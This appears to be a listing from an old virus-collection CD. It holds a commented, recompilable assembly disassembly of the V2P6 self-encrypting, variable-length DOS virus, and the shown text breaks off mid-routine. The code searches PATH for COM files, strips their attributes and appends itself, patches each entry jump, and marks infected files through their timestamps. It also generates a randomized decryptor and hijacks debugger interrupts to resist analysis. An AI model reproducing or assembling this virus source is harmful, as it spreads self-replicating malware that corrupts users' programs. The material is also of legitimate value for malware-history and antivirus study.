home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / V2P6.ASM < prev    next >
Assembly Source File  |  1991-04-14  |  23KB  |  1,099 lines

  1.  
  2.          ;**********************************************
  3.          ;                                             *
  4.          ;                  V2P6.ASM                   *
  5.          ;                      a                      *
  6.          ;           recompilable disassembly          *
  7.          ;                      of                     *
  8.          ;             Mark Washburn's V2P6            *
  9.          ;               self-encrypting,              *
  10.          ;               variable-length               *
  11.          ;                    virus                    *
  12.          ;                      -                      *
  13.          ;           WRITTEN FOR REASSEMBLY            *
  14.          ;        WITH MICROSOFT MASM ASSEMBLER.       *
  15.          ;                                             *
  16.          ;                                             *
  17.          ;   1) The V2P6 uses a "sliding-window"       *
  18.          ;      encryption technique that relies on    *
  19.          ;      Interrupts One and Three.  The         *
  20.          ;      "INSERT_ENCRYPTION_TECHNIQUES" call    *
  21.          ;      inserts the appropriate code for       *
  22.          ;      this task.                             *
  23.          ;                                             *
  24.          ;   2) Occasionally, NOPS and Interrupt 3     *
  25.          ;      calls are used as "false code" that    *
  26.          ;      is designed to confuse those who       *
  27.          ;      attempt to disassemble the virus.      *
  28.          ;      THEY are not true INT 3 or NOP         *
  29.          ;      instructions. These attempts are       *
  30.          ;      clearly labeled as such.               *
  31.          ;                                             *
  32.          ;**********************************************
  33.  
  34. CODE_SEG SEGMENT
  35. ASSUME CS:CODE_SEG, DS:CODE_SEG, ES:CODE_SEG, SS:CODE_SEG
  36. ORG 0100H
  37. V2P6 PROC NEAR
  38.  
  39. THE_BEGINNING:
  40.   JMP SHORT DEGARBLER
  41.  
  42.   DB "  V2P6.ASM   "
  43.  
  44. DEGARBLER:
  45.   CALL INSERT_ENCRYPTION_TECHNIQUES 
  46.   DB 36 DUP (090H)                  
  47.                                     
  48. ;========== Body encryption takes place from here down ===========
  49.  
  50. START:
  51.    MOV BP,SP
  52.    SUB SP,029H
  53.    PUSH CX
  54.    MOV DX,OFFSET VARIABLE_CODE
  55.    MOV WORD PTR[BP-014H],DX
  56.    CLI
  57.    CLD
  58.  
  59. STORE_INTERRUPT_ADDRESSES:
  60.    PUSH DS
  61.    MOV AX,0
  62.    PUSH AX
  63.    POP DS
  64.    CLI
  65.    MOV AX,DS:WORD PTR[4]
  66.    MOV WORD PTR[BP-028H],AX
  67.    MOV AX,DS:WORD PTR[6]
  68.    MOV WORD PTR[BP-026H],AX
  69.    MOV AX,DS:WORD PTR[0CH]
  70.    MOV WORD PTR[BP-024H],AX
  71.    MOV AX,DS:WORD PTR[0EH]
  72.    MOV WORD PTR[BP-022H],AX
  73.    STI
  74.    POP DS
  75.  
  76. REPLACE_INTERRUPT_ADDRESSES:
  77.    CALL REPLACE_ONE_AND_THREE    
  78.    MOV SI,DX                     
  79.    ADD SI,0E4H                   
  80.    MOV DI,0100H                  
  81.    MOV CX,3                      
  82.    CLD                           
  83.    REP MOVSB
  84.  
  85. CHECK_DOS_VERSION:
  86.    MOV SI,DX
  87.    MOV AH,030H
  88.    INT 021H
  89.    CMP AL,0
  90.    NOP                       ;Breakpoint Encryption.
  91.    NOP
  92.    JNE STORE_THE_DTA
  93.    JMP EXIT
  94.  
  95. STORE_THE_DTA:
  96.    PUSH ES
  97.    MOV AH,02FH
  98.    INT 021H
  99.    NOP                       ;Breakpoint Encryption.
  100.    NOP
  101.    MOV WORD PTR[BP-4],BX
  102.    NOP                       ;Breakpoint Encryption.
  103.    NOP
  104.    MOV WORD PTR[BP-2],ES
  105.    POP ES
  106.  
  107. SET_NEW_DTA:
  108.    MOV DX,SI
  109.    ADD DX,0135H
  110.    MOV AH,01AH
  111.    INT 021H
  112.    PUSH ES
  113.    PUSH SI
  114.    MOV ES,DS:WORD PTR[02CH]
  115.    MOV DI,0H
  116.  
  117. FIND_ENVIRONMENT:
  118.    POP SI
  119.    PUSH SI
  120.    ADD SI,0F0H
  121.    LODSB
  122.    MOV CX,08000H
  123.    REPNE SCASB
  124.    MOV CX,4H
  125.  LOOOPER:
  126.    LODSB
  127.    SCASB
  128.    JNE FIND_ENVIRONMENT
  129.   LOOP LOOOPER
  130.    POP SI
  131.    POP ES
  132.    MOV WORD PTR[BP-0CH],DI            
  133.    MOV BX,SI
  134.    ADD SI,0F5H
  135.    MOV DI,SI
  136.    JMP SHORT COPY_FILE_SPEC_TO_WORK_AREA 
  137.  
  138.    NOP
  139.    INT 3                     ;False code. 
  140.  
  141. NO_FILE_FOUND: 
  142.    CMP WORD PTR[BP-0CH],0
  143.    JNE FOLLOW_THE_PATH
  144.    JMP RESTORE_DTA 
  145.  
  146.    INT 3                     ;False code. 
  147.  
  148. FOLLOW_THE_PATH: 
  149.    PUSH DS 
  150.    PUSH SI
  151.    MOV DS,ES:WORD PTR[02CH]
  152.    MOV DI,SI
  153.    MOV SI,ES:WORD PTR[BP-0CH]
  154.    ADD DI,0F5H
  155.  
  156. UP_TO_LODSB:
  157.    LODSB 
  158.    CMP AL,03BH
  159.    JE SEARCH_AGAIN
  160.    CMP AL,0 
  161.    JE CLEAR_SI 
  162.    STOSB 
  163.    JMP SHORT UP_TO_LODSB 
  164.  
  165.    INT 3                     ;False code. 
  166.  
  167. CLEAR_SI: 
  168.    MOV SI,0
  169.  
  170. SEARCH_AGAIN: 
  171.    POP BX
  172.    POP DS 
  173.    MOV WORD PTR[BP-0CH],SI 
  174.    CMP CH,0FFH
  175.    JE COPY_FILE_SPEC_TO_WORK_AREA
  176.    MOV AL,05CH
  177.    STOSB
  178.  
  179. COPY_FILE_SPEC_TO_WORK_AREA:
  180.    MOV WORD PTR[BP-0EH],DI
  181.    MOV SI,BX 
  182.    ADD SI,0EAH                 
  183.    MOV CX,6 
  184.    REP MOVSB                  
  185.    MOV SI,BX
  186.    MOV AH,04EH 
  187.    MOV DX,SI 
  188.    ADD DX,0F5H 
  189.    MOV CX,3
  190.    INT 021H                    
  191.    JMP SHORT CHECK_CARRY_FLAG 
  192.  
  193.    NOP                       ;False code. 
  194.    INT 3 
  195.  
  196. FIND_NEXT_FILE:
  197.    MOV AH,04FH 
  198.    INT 021H
  199.  
  200. CHECK_CARRY_FLAG:
  201.    JAE FILE_FOUND
  202.    JMP SHORT NO_FILE_FOUND 
  203.  
  204.    INT 3                     ;False code. 
  205.  
  206. FILE_FOUND:
  207.    MOV AX,WORD PTR[SI+014BH]          
  208.    AND AL,01FH                 
  209.    CMP AL,01FH
  210.    JE FIND_NEXT_FILE
  211.    CMP WORD PTR[SI+014FH],0F902H 
  212.    JE FIND_NEXT_FILE 
  213.    CMP WORD PTR[SI+014FH],0AH
  214.    JE FIND_NEXT_FILE 
  215.    MOV DI,WORD PTR[BP-0EH]            
  216.    PUSH SI
  217.    ADD SI,0153H
  218.  
  219. MOVE_ASCII_FILENAME: 
  220.    LODSB 
  221.    STOSB
  222.    CMP AL,0
  223.    JNE MOVE_ASCII_FILENAME    
  224.    POP SI 
  225.  
  226. GET_FILE_ATTRIBUTE: 
  227.    MOV AX,04300H
  228.    MOV DX,SI 
  229.    ADD DX,0F5H 
  230.    INT 021H
  231.  
  232. STORE_FILE_ATTRIBUTE: 
  233.    MOV WORD PTR[BP-0AH],CX            
  234.  
  235. CLEAR_FILE_ATTRIBUTE: 
  236.    MOV AX,04301H
  237.    AND CX,-2
  238.    MOV DX,SI
  239.    ADD DX,0F5H
  240.    INT 021H
  241.  
  242. OPEN_FILE:
  243.    MOV AX,03D02H
  244.    MOV DX,SI 
  245.    ADD DX,0F5H
  246.    INT 021H
  247.    JAE GET_DATE_AND_TIME 
  248.    JMP SET_THE_ATTRIBUTE
  249.  
  250.    INT 3                     ;False code. 
  251.  
  252. GET_DATE_AND_TIME:
  253.    MOV BX,AX                  
  254.    MOV AX,05700H
  255.    INT 021H
  256.  
  257. STORE_DATE_AND_TIME: 
  258.    MOV WORD PTR[BP-8],CX
  259.    MOV WORD PTR[BP-6],DX
  260.  
  261. READ_FIRST_THREE_BYTES: 
  262.    MOV AH,03FH
  263.    MOV CX,3
  264.    MOV DX,SI
  265.    ADD DX,0E4H
  266.    INT 021H                    
  267.    NOP                       ;Breakpoint Encryption. 
  268.    NOP 
  269.    JB ERROR_OCCURRED
  270.    NOP                       ;Breakpoint Encryption. 
  271.    NOP 
  272.    CMP AX,3
  273.    NOP                       ;Breakpoint Encryption.
  274.    NOP 
  275.    JNE ERROR_OCCURRED         
  276.    NOP                       ;Breakpoint Encryption. 
  277.    NOP 
  278.  
  279. GET_FILE_LENGTH:
  280.    MOV AX,04202H
  281.    NOP                       ;Breakpoint Encryption. 
  282.    NOP 
  283.    MOV CX,0
  284.    MOV DX,0
  285.    INT 021H
  286.    JAE AT_END_OF_FILE         
  287.  
  288. ERROR_OCCURRED: 
  289.    JMP SET_DATE_AND_CLOSE_FILE
  290.  
  291. AT_END_OF_FILE: 
  292.    NOP                       ;Breakpoint Encryption. 
  293.    NOP
  294.    PUSH BX
  295.    NOP                       ;Breakpoint Encryption. 
  296.    NOP 
  297.    MOV CX,AX                  
  298.    PUSH CX                    
  299.    NOP                       ;Breakpoint Encryption. 
  300.    NOP
  301.    SUB AX,3
  302.    NOP                       ;Breakpoint Encryption. 
  303.    NOP 
  304.    MOV WORD PTR[SI+0E8H],AX           
  305.    ADD CX,06CDH
  306.    NOP                       ;Breakpoint Encryption.
  307.    NOP    
  308.    MOV DI,SI 
  309.    NOP                       ;Breakpoint Encryption. 
  310.    NOP 
  311.    SUB DI,059FH
  312.    NOP                       ;Breakpoint Encryption. 
  313.    NOP                        
  314.    MOV WORD PTR[DI],CX
  315.    MOV AH,02CH
  316.    INT 021H                    
  317.    XOR DX,CX                  
  318.    NOP                       ;Breakpoint Encryption. 
  319.    NOP 
  320.    MOV CX,WORD PTR[SI+0E2H]           
  321.    NOP                       ;Breakpoint Encryption.
  322.    NOP
  323.    XOR CX,DX                  
  324.    NOP                       ;Breakpoint Encryption. 
  325.    NOP 
  326.    MOV WORD PTR[SI+0E2H],DX
  327.    NOP                       ;Breakpoint Encryption.
  328.    NOP                        
  329.    MOV WORD PTR[BP-01EH],DX           
  330.  
  331. CREATE_THE_DEGARBLER:
  332.    CALL DEGARB_CALL_THREE
  333.    MOV AL,BYTE PTR[BP-01EH]
  334.    AND AL,3
  335.    CMP AL,3
  336.    JE CREATE_THE_DEGARBLER
  337.    PUSH AX
  338.    ROR AL,1
  339.    NOP                       ;Breakpoint Encryption.
  340.    NOP
  341.    ROR AL,1
  342.    NOP                       ;Breakpoint Encryption.
  343.    NOP
  344.    MOV BYTE PTR[SI+O10H],AL
  345.    POP AX
  346.    ADD AL,2
  347.    NOP                       ;Breakpoint Encryption.
  348.    NOP
  349.    MOV BYTE PTR[SI+O3CH],AL
  350.  
  351. CREATE_DEGARBLER_PART_TWO:
  352.    CALL DEGARB_CALL_THREE
  353.    MOV AL,BYTE PTR[BP-01EH]
  354.    AND AL,7
  355.    CMP AL,6
  356.    JA CREATE_DEGARBLER_PART_TWO
  357.    NOP                       ;Breakpoint Encryption.
  358.    NOP
  359.    MOV BYTE PTR[BP-01BH],AL
  360.    PUSH AX
  361.    NOP                       ;Breakpoint Encryption.
  362.    NOP
  363.    XOR AH,AH
  364.    SHL AX,1
  365.    NOP                       ;Breakpoint Encryption.
  366.    NOP
  367.    INC AX
  368.    NOP                       ;Breakpoint Encryption.
  369.    NOP
  370.    MOV BX,SI
  371.    ADD BX,[O5CH]
  372.    ADD BX,AX
  373.    NOP                       ;Breakpoint Encryption.
  374.    NOP
  375.    MOV DL,BYTE PTR[BX]
  376.    POP AX
  377.    NOP                       ;Breakpoint Encryption.
  378.    NOP
  379.    CMP AL,3
  380.    JA CREATE_DEGARBLER_PART_FOUR
  381.  
  382. CREATE_DEGARBLER_PART_THREE:
  383.    CALL DEGARB_CALL_THREE
  384.    AND AL,DL
  385.    JE CREATE_DEGARBLER_PART_THREE
  386.    NOP                       ;Breakpoint Encryption.
  387.    NOP
  388.    MOV BYTE PTR[BP-01CH],AL
  389.    NOP                       ;Breakpoint Encryption.
  390.    NOP
  391.    PUSH AX
  392.    MOV BL,AL
  393.    NOP                       ;Breakpoint Encryption.
  394.    NOP
  395.    NOT BL
  396.    AND DL,BL
  397.    NOP                       ;Breakpoint Encryption.
  398.    NOP
  399.    CALL DEGARB_CALL_TWO
  400.    MOV AL,DL
  401.    NOP                       ;Breakpoint Encryption.
  402.    NOP
  403.    XOR DH,DH
  404.    SHL DX,1
  405.    NOP                       ;Breakpoint Encryption.
  406.    NOP
  407.    MOV BX,SI
  408.    ADD BX,[O24H]
  409.    ADD BX,DX
  410.    NOP                       ;Breakpoint Encryption.
  411.    NOP
  412.    MOV BX,WORD PTR[BX]
  413.    MOV WORD PTR[SI+ODH],BX
  414.    NOP                       ;Breakpoint Encryption.
  415.    NOP
  416.    MOV BL,080H
  417.    MOV BYTE PTR[BP-010H],BL
  418.    NOP                       ;Breakpoint Encryption.
  419.    NOP
  420.    POP DX
  421.    CALL DEGARB_CALL_TWO
  422.    NOP                       ;Breakpoint Encryption.
  423.    NOP
  424.    MOV DH,DL
  425.    NOP                       ;Breakpoint Encryption.
  426.    NOP
  427.    MOV DL,AL
  428.    JMP SHORT CREATE_DEGARBLER_PART_FIVE
  429.  
  430. CREATE_DEGARBLER_PART_FOUR:
  431.    NOP                       ;Breakpoint Encryption.
  432.    NOP
  433.    MOV BYTE PTR[BP-01CH],DL
  434.    NOP                       ;Breakpoint Encryption.
  435.    NOP
  436.    CALL DEGARB_CALL_TWO
  437.    NOP                       ;Breakpoint Encryption.
  438.    NOP
  439.    MOV DH,DL
  440.    NOP                       ;Breakpoint Encryption.
  441.    NOP
  442.   REAL_NOPS:
  443.    MOV BX,09090H
  444.    MOV WORD PTR[SI+ODH],BX
  445.    NOP                       ;Breakpoint Encryption.
  446.    NOP
  447.    XOR DL,DL
  448.    NOP                       ;Breakpoint Encryption.
  449.    NOP
  450.    MOV BYTE PTR[BP-010H],DL
  451.    MOV DL,0FFH
  452.  
  453. CREATE_DEGARBLER_PART_FIVE:
  454.    CALL DEGARB_CALL_THREE
  455.    MOV AL,BYTE PTR[BP-01EH]
  456.    AND AL,0FH
  457.    CMP AL,0CH
  458.    JA CREATE_DEGARBLER_PART_FIVE
  459.    CMP AL,DH
  460.    JE CREATE_DEGARBLER_PART_FIVE
  461.    CMP AL,DL
  462.    JE CREATE_DEGARBLER_PART_FIVE
  463.    MOV BYTE PTR[BP-0FH],AL
  464.    XOR AH,AH
  465.    SHL AX,1
  466.    SHL AX,1
  467.    MOV BX,SI
  468.    ADD BX,[O6AH]
  469.    ADD BX,AX
  470.    MOV CL,BYTE PTR[BX]
  471.    MOV AL,031H
  472.    TEST CL,8
  473.    JNE OVER_ONE
  474.    MOV AL,030H
  475.  OVER_ONE:
  476.    MOV BYTE PTR[SI+0DBH],AL
  477.    MOV BYTE PTR[SI+OFH],AL
  478.    MOV AL,5
  479.    TEST CL,8
  480.    JNE OVER_SEVERAL
  481.    TEST CL,4
  482.    JE OVER_SEVERAL
  483.    MOV AL,025H
  484.  OVER_SEVERAL:
  485.    MOV BYTE PTR[SI+0DCH],AL
  486.    MOV AL,BYTE PTR[SI+O10H]
  487.    AND CL,7
  488.    XOR CH,CH
  489.    SHL CX,1
  490.    SHL CX,1
  491.    SHL CX,1
  492.    OR AL,CL
  493.    MOV CL,BYTE PTR[BP-01BH]
  494.    SHL CX,1
  495.    MOV BX,SI
  496.    ADD BX,[O5CH]
  497.    ADD BX,CX
  498.    MOV CL,BYTE PTR[BX]
  499.    OR AL,CL
  500.    MOV BYTE PTR[SI+O10H],AL
  501.    MOV BX,SI
  502.    ADD BX,[O6AH]
  503.    XOR CL,CL
  504.    MOV BYTE PTR[BP-01BH],CL
  505.    MOV AL,BYTE PTR[BP-0FH]
  506.    CMP AL,9
  507.    JA THREE_ADJUSTMENTS
  508.    XOR AH,AH
  509.    SHL AX,1
  510.    SHL AX,1
  511.    ADD BX,AX
  512.    INC BX
  513.    MOV AL,BYTE PTR[BX]
  514.    MOV BYTE PTR[SI+O1BH],AL
  515.    INC BX
  516.    INC BX
  517.    MOV AL,BYTE PTR[BX]
  518.    MOV BYTE PTR[SI+O6],AL
  519.    MOV BX,SI
  520.    ADD BX,[O6AH]
  521.    JMP SHORT NO_ADJUSTMENT
  522.  
  523.    INT 3                     ;False code.
  524.  
  525. THREE_ADJUSTMENTS:
  526.    MOV CL,0FFH
  527.    MOV BYTE PTR[BP-01BH],CL
  528.    MOV CL,090H
  529.    MOV BYTE PTR[SI+O1BH],CL
  530.    MOV CL,0B8H
  531.    MOV BYTE PTR[SI+O6],CL
  532.  
  533. NO_ADJUSTMENT:
  534.    MOV DL,BYTE PTR[BP-01CH]
  535.    CALL DEGARB_CALL_TWO
  536.    XOR DH,DH
  537.    SHL DX,1
  538.    SHL DX,1
  539.    ADD BX,DX
  540.    INC BX
  541.    INC BX
  542.    MOV AL,BYTE PTR[BX]
  543.    MOV BYTE PTR[SI+O1AH],AL
  544.    INC BX
  545.    MOV AL,BYTE PTR[BX]
  546.    MOV BYTE PTR[SI+ZERO],AL
  547.    NOP                       ;Breakpoint Encryption.
  548.    NOP
  549.    CALL DEGARB_CALL_THREE
  550.    NOP                       ;Breakpoint Encryption.
  551.    NOP
  552.    MOV AX,WORD PTR[BP-01EH]
  553.    AND AX,0FFH
  554.    ADD AX,0709H
  555.    MOV WORD PTR[BP-018H],AX
  556.    MOV WORD PTR[SI+O4],AX
  557.    POP CX
  558.    ADD CX,0127H
  559.    MOV WORD PTR[SI+O1],CX
  560.    MOV CL,BYTE PTR[BP-01BH]
  561.    OR CL,CL
  562.    JNE CREATE_DEGARBLER_PART_SIX
  563.    NOP                       ;Breakpoint Encryption.
  564.    NOP
  565.    CALL DEGARB_CALL_THREE
  566.    MOV AX,WORD PTR[BP-01EH]
  567.    MOV WORD PTR[SI+O7],AX
  568.  
  569. CREATE_DEGARBLER_PART_SIX:
  570.    MOV WORD PTR[BP-016H],AX
  571.    MOV DI,SI
  572.    SUB DI,05CDH
  573.    NOP                       ;Breakpoint Encryption.
  574.    NOP
  575.    MOV AX,3
  576.    MOV CL,BYTE PTR[BP-010H]
  577.    OR AL,CL
  578.    MOV CL,BYTE PTR[BP-01BH]
  579.    OR CL,CL
  580.    JNE OVER_OR
  581.    OR AX,4
  582.  OVER_OR:
  583.    MOV BX,SI
  584.    ADD BX,[O2CH]
  585.    MOV WORD PTR[BP-01AH],AX
  586.    CALL DEGARB_CALL_FIVE
  587.    MOV WORD PTR[BP-012H],DI
  588. REAL_NOP:
  589.    ADD BX,[OO10H]
  590.    NOP                       ;Breakpoint Encryption.
  591.    NOP
  592.    MOV AX,1
  593.    CALL DEGARB_CALL_ONE
  594.    MOV WORD PTR[BP-01AH],AX
  595.    NOP                       ;Breakpoint Encryption.
  596.    NOP
  597.    CALL DEGARB_CALL_FIVE
  598.    ADD BX,[OO10H]
  599.    MOV AX,1
  600.    MOV CL,BYTE PTR[BP-01BH]
  601.    OR CL,CL
  602.    JNE OVER_THE_OR
  603.    OR AX,2
  604.  OVER_THE_OR:
  605.    CALL DEGARB_CALL_ONE
  606.    MOV WORD PTR[BP-01AH],AX
  607.    NOP                       ;Breakpoint Encryption.
  608.    NOP
  609.    CALL DEGARB_CALL_FIVE
  610.    MOV CX,2
  611.    MOV SI,WORD PTR[BP-014H]
  612.    NOP                       ;Breakpoint Encryption.
  613.    NOP
  614.    ADD SI,[O22H]
  615.    REP MOVSB
  616.    MOV AX,WORD PTR[BP-012H]
  617.    SUB AX,DI
  618.    DEC DI
  619.    STOSB
  620.  
  621. LAST_STEP:
  622.    MOV CX,WORD PTR[BP-014H]
  623.    SUB CX,05A6H
  624.    CMP CX,DI
  625.    JE COPY_ENC_AND_WRITE_TO_MEMORY
  626.    MOV DX,0
  627.    CALL DEGARB_CALL_FOUR
  628.    JMP SHORT LAST_STEP
  629.  
  630.    INT 3                     ;False code.
  631.  
  632. COPY_ENC_AND_WRITE_TO_MEMORY:
  633.    MOV SI,WORD PTR[BP-014H]
  634.    PUSH SI
  635.    MOV DI,SI
  636.    NOP                       ;Breakpoint Encryption.
  637.    NOP
  638.    MOV CX,044H
  639.    ADD SI,09EH
  640.    NOP                       ;Breakpoint Encryption. 
  641.    NOP
  642.    ADD DI,0262H
  643.    MOV DX,DI
  644.    REP MOVSB
  645.    POP SI
  646.    POP BX
  647.    CALL GET_OFFSET
  648.    ADD AX,6
  649.    PUSH AX
  650.    JMP DX
  651.  
  652. WRITE_NEW_JUMP: 
  653.    NOP                       ;Breakpoint Encryption. 
  654.    NOP 
  655.    JB SET_DATE_AND_CLOSE_FILE
  656.    MOV AX,04200H
  657.    MOV CX,0
  658.    MOV DX,0
  659.    INT 021H
  660.    JB SET_DATE_AND_CLOSE_FILE 
  661.    MOV AH,040H
  662.    MOV CX,3
  663.    NOP                       ;Breakpoint Encryption.
  664.    NOP
  665.    MOV DX,SI
  666.    ADD DX,0E7H
  667.    INT 021H
  668.  
  669. SET_DATE_AND_CLOSE_FILE:
  670.    MOV DX,WORD PTR[BP-6]
  671.    MOV CX,WORD PTR[BP-8]
  672.    AND CX,-020H
  673.    OR CX,01FH
  674.    MOV AX,05701H
  675.    INT 021H
  676.    MOV AH,03EH 
  677.    INT 021H
  678.  
  679. SET_THE_ATTRIBUTE:
  680.    MOV AX,04301H
  681.    MOV CX,WORD PTR[BP-0AH] 
  682.    MOV DX,SI
  683.    ADD DX,0F5H
  684.    INT 021H
  685.  
  686. RESTORE_DTA: 
  687.    PUSH DS 
  688.    MOV DX,WORD PTR[BP-4] 
  689.    MOV DS,WORD PTR[BP-2]
  690.    MOV AH,01AH
  691.    INT 021H
  692.    POP DS 
  693.  
  694. EXIT: 
  695.    POP CX 
  696.    MOV SP,BP
  697.    MOV DI,0100H
  698.    PUSH DI
  699.    XOR AX,AX
  700.    XOR BX,BX
  701.    XOR CX,CX
  702.    XOR DX,DX 
  703.    XOR SI,SI
  704.    XOR BP,BP
  705.    XOR DI,DI
  706.    JMP RESTORE_ONE_AND_THREE
  707.  
  708.      ;========= Calls used to create the Degarbler =========== 
  709.  
  710. DEGARB_CALL_ONE:
  711.    PUSH AX 
  712.    CALL DEGARB_CALL_THREE
  713.    MOV CL,AL 
  714.    MOV CH,BYTE PTR[BP-01EH]
  715.    POP AX 
  716.    CMP CH,080H 
  717.    JA TO_RET
  718.    XOR CH,CH
  719.    OR AX,CX
  720. TO_RET:
  721.    RET
  722.  
  723. DEGARB_CALL_TWO: 
  724.    PUSH AX
  725.    MOV AL,0
  726.    UP_TO_SHIFT:
  727.    SHR DL,1
  728.    JB RIGHT_HERE
  729.    INC AL 
  730.    JMP SHORT UP_TO_SHIFT 
  731.   RIGHT_HERE:
  732.    MOV DL,AL 
  733.    POP AX
  734.    RET 
  735.  
  736.    INT 3                     ;False code. 
  737.  
  738. DEGARB_CALL_THREE:
  739.    MOV CX,WORD PTR[BP-01EH]           
  740.    XOR CX,0813CH
  741.    ADD CX,09249H
  742.    ROR CX,1
  743.    ROR CX,1
  744.    ROR CX,1                   
  745.    MOV WORD PTR[BP-01EH],CX
  746.    AND CX,7
  747.    PUSH CX
  748.    INC CX
  749.    XOR AX,AX
  750.    STC 
  751.    RCL AX,CL 
  752.    POP CX
  753.    RET 
  754.  
  755. GET_OFFSET: 
  756.    POP AX
  757.    PUSH AX 
  758.    RET 
  759.  
  760. DEGARB_CALL_FOUR: 
  761.    CALL DEGARB_CALL_THREE
  762.    TEST DX,AX
  763.    JNE DEGARB_CALL_FOUR
  764.    OR DX,AX
  765.    MOV AX,CX 
  766.    SHL AX,1
  767.    PUSH AX
  768.    XLATB
  769.    MOV CX,AX
  770.    POP AX
  771.    INC AX 
  772.    XLATB 
  773.    ADD AX,WORD PTR[BP-014H]
  774.    MOV SI,AX 
  775.    REP MOVSB
  776.    RET 
  777.  
  778. DEGARB_CALL_FIVE: 
  779.    MOV DX,0 
  780.    PRETTY_PLACE:
  781.    CALL DEGARB_CALL_FOUR 
  782.    MOV AX,DX
  783.    AND AX,WORD PTR[BP-01AH]
  784.    CMP AX,WORD PTR[BP-01AH]
  785.    JNE PRETTY_PLACE
  786.    RET
  787.  
  788.    ;====== Encryption and debugger stopping routines =======
  789.  
  790. NEW_INT_THREE:
  791.    PUSH BX
  792.    MOV BX,SP
  793.    PUSH AX
  794.    PUSH SI
  795.    PUSH DS
  796.    PUSH CS
  797.    POP DS
  798.    OR BYTE PTR[BX+7],1
  799.    MOV SI,WORD PTR[BX+2]
  800.    INC WORD PTR[BX+2]
  801.    MOV WORD PTR[BP-020H],SI
  802.    LODSB
  803.    XOR BYTE PTR[SI],AL
  804.    IN AL,021H
  805.    MOV BYTE PTR[BP-029H],AL
  806.    MOV AL,0FFH
  807.    OUT 021H,AL
  808.    POP DS
  809.    POP SI
  810.    POP AX
  811.    POP BX
  812.    IRET
  813.  
  814. NEW_INT_ONE:
  815.    PUSH BX
  816.    MOV BX,SP 
  817.    PUSH AX
  818.    AND SS:BYTE PTR[BX+7],0FEH
  819.    MOV BX,WORD PTR[BP-020H]
  820.    MOV AL,CS:BYTE PTR[BX]
  821.    XOR CS:BYTE PTR[BX+1],AL
  822.    MOV AL,BYTE PTR[BP-029H]
  823.    OUT 021H,AL 
  824.    MOV AL,020H
  825.    OUT 020H,AL
  826.    POP AX
  827.    POP BX
  828.    IRET
  829.  
  830. REPLACE_ONE_AND_THREE:
  831.    PUSHF
  832.    PUSH DS
  833.    PUSH AX
  834.    MOV AX,0
  835.    PUSH AX
  836.    POP DS
  837.    MOV AX,WORD PTR[BP-014H]
  838.    SUB AX,093H
  839.    CLI
  840.    MOV DS:WORD PTR[000CH],AX
  841.    MOV AX,WORD PTR[BP-014H]
  842.    SUB AX,06DH
  843.    MOV DS:WORD PTR[0004],AX
  844.    PUSH CS
  845.    POP AX
  846.    MOV DS:WORD PTR[0006],AX
  847.    MOV DS:WORD PTR[000EH],AX
  848.    STI
  849.    POP AX
  850.    POP DS
  851.    POPF
  852.    RET
  853.  
  854. RESTORE_ONE_AND_THREE:
  855.    PUSHF
  856.    PUSH DS
  857.    PUSH AX
  858.    MOV AX,0
  859.    PUSH AX
  860.    POP DS
  861.    MOV AX,WORD PTR[BP-024H]
  862.    CLI
  863.    MOV DS:WORD PTR[000CH],AX
  864.    MOV AX,WORD PTR[BP-028H]
  865.    MOV DS:WORD PTR[0004],AX
  866.    MOV AX,WORD PTR[BP-026H]
  867.    MOV DS:WORD PTR[0006],AX
  868.    MOV AX,WORD PTR[BP-022H]
  869.    MOV DS:WORD PTR[000EH],AX
  870.    STI
  871.    POP AX
  872.    POP DS
  873.    POPF
  874.    RET
  875.  
  876.         ;============= The Variable Code =============== 
  877.  
  878. VARIABLE_CODE: 
  879.    MOV SI,0 
  880.    MOV CX,0
  881.    MOV DX,0 
  882.    NOP
  883.    CLC
  884.    STC 
  885.    CLD
  886.    XOR BP,BP 
  887.  
  888. XORING_HERE:
  889.    XOR WORD PTR[BP+SI],DX
  890.    ADD BYTE PTR[BX+SI],AL
  891.    STC
  892.    CMC
  893.    CLC
  894.    CLD
  895.    STI
  896.    NOP
  897.    CLC 
  898.    INC SI 
  899.    DEC DX 
  900.    CLD 
  901.    CMC
  902.    STI 
  903.    CLC
  904.    STC
  905.    NOP 
  906.   LOOP XORING_HERE
  907.    XOR BP,BP 
  908.    XOR BX,BX
  909.    XOR DI,DI
  910.    XOR SI,SI
  911.    ADD AX,WORD PTR[BX+SI]
  912.    ADD AX,WORD PTR[BP+DI]
  913.    ADD AX,DS:WORD PTR[0901H]
  914.    ADD WORD PTR[BP+SI],CX
  915.    ADD WORD PTR[BP+DI],CX
  916.    ADD WORD PTR[SI],CX
  917.    ADD CL,BYTE PTR[DI]
  918.    ADD CL,BYTE PTR[BX]
  919.    ADD WORD PTR[BP+DI],DX
  920.    ADD WORD PTR[SI],DX
  921.    ADD WORD PTR[DI],DX
  922.    ADD DS:WORD PTR[01701H],DX
  923.    ADD WORD PTR[BX+SI],BX
  924.    ADD WORD PTR[BX+DI],BX
  925.    ADD WORD PTR[BP+SI],BX
  926.    ADD WORD PTR[BP+DI],BX
  927.    ADD WORD PTR[SI],BX
  928.    ADD WORD PTR[DI],BX
  929.    ADD DS:WORD PTR[01F01H],BX
  930.    ADD WORD PTR[BX+SI],SP
  931.    ADD WORD PTR[BX+DI],SP
  932.    ADD BYTE PTR[BP+SI],CL
  933.    ADD DS:WORD PTR[0902H],AX
  934.    ADD AX,WORD PTR[DI]
  935.    ADD AL,8
  936.    ADD AX,0704H
  937.    ADD CL,BYTE PTR[DI]
  938.    DEC BP
  939.    INC BP
  940.    MOV BP,04B0BH
  941.    INC BX
  942.    MOV BX,04F0FH
  943.    INC DI
  944.    MOV DI,04E0EH
  945.    INC SI
  946.    MOV SI,04808H
  947.    INC AX
  948.    MOV AX,04800H
  949.    INC AX
  950.    MOV AX,04804H
  951.    INC AX
  952.    MOV AX,04A0AH
  953.    INC DX
  954.    MOV DX,04A02H
  955.    INC DX
  956.    MOV DX,04A06H
  957.    INC DX
  958.    MOV DX,9
  959.    ADD BYTE PTR[BX+SI],AL
  960.    ADD WORD PTR[BX+SI],AX
  961.    ADD BYTE PTR[BX+SI],AL
  962.    ADD AX,0
  963.    DB 0
  964.  
  965.    ;======= Only the Memory Image of the following code =====
  966.    ;=======             is ever executed                =====
  967.  
  968. ENCRYPT_WRITE_AND_DECRYPT:
  969.    MOV CX,WORD PTR[BP-018H]
  970.    MOV AX,WORD PTR[BP-016H]
  971.    MOV DI,SI
  972.    SUB DI,05A6H
  973.    CALL ENCRYPT_BODY
  974.    MOV AH,040H
  975.    MOV DX,WORD PTR[BP-01EH]
